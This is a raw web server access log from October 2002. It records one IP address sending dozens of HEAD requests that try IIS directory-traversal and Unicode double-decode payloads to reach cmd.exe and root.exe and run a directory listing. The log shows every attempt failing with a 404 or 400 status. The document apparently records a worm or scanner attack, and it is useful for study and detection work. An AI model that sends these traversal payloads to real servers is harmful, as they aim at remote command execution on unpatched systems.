209.195.171.50 - - [06/Oct/2002:12:20:54 +0900] "HEAD / HTTP/1.0" 200 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:55 +0900] "HEAD /MSADC/root.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:56 +0900] "HEAD /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:56 +0900] "HEAD /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:57 +0900] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:58 +0900] "HEAD /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:58 +0900] "HEAD /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:59 +0900] "HEAD /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:20:59 +0900] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:00 +0900] "HEAD /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:01 +0900] "HEAD /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:01 +0900] "HEAD /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:02 +0900] "HEAD /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:03 +0900] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:03 +0900] "HEAD /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:04 +0900] "HEAD /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:05 +0900] "HEAD /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:05 +0900] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:06 +0900] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:06 +0900] "HEAD /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:07 +0900] "HEAD /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:08 +0900] "HEAD /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:08 +0900] "HEAD /c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:09 +0900] "HEAD /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:10 +0900] "HEAD /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:12 +0900] "HEAD /d/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:13 +0900] "HEAD /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:15 +0900] "HEAD /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:15 +0900] "HEAD /msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:16 +0900] "HEAD /msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:16 +0900] "HEAD /msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:17 +0900] "HEAD /msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:18 +0900] "HEAD /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:18 +0900] "HEAD /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:19 +0900] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:20 +0900] "HEAD /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:20 +0900] "HEAD /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:22 +0900] "HEAD /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:24 +0900] "HEAD /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:27 +0900] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:28 +0900] "HEAD /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:29 +0900] "HEAD /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:29 +0900] "HEAD /msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:30 +0900] "HEAD /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:31 +0900] "HEAD /msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:31 +0900] "HEAD /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:32 +0900] "HEAD /msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:32 +0900] "HEAD /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:33 +0900] "HEAD /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:33 +0900] "HEAD /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:34 +0900] "HEAD /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:34 +0900] "HEAD /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:35 +0900] "HEAD /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:36 +0900] "HEAD /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:36 +0900] "HEAD /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:37 +0900] "HEAD /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:37 +0900] "HEAD /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:38 +0900] "HEAD /scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:38 +0900] "HEAD /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:39 +0900] "HEAD /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:40 +0900] "HEAD /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:41 +0900] "HEAD /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:41 +0900] "HEAD /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:42 +0900] "HEAD /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:43 +0900] "HEAD /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:43 +0900] "HEAD /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:44 +0900] "HEAD /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:44 +0900] "HEAD /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:45 +0900] "HEAD /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:45 +0900] "HEAD /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:46 +0900] "HEAD /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:46 +0900] "HEAD /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 400 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:47 +0900] "HEAD /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:47 +0900] "HEAD /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:48 +0900] "HEAD /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:49 +0900] "HEAD /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:49 +0900] "HEAD /scripts/root.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-" 209.195.171.50 - - [06/Oct/2002:12:21:50 +0900] "HEAD /msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0" 404 0 "-" "-"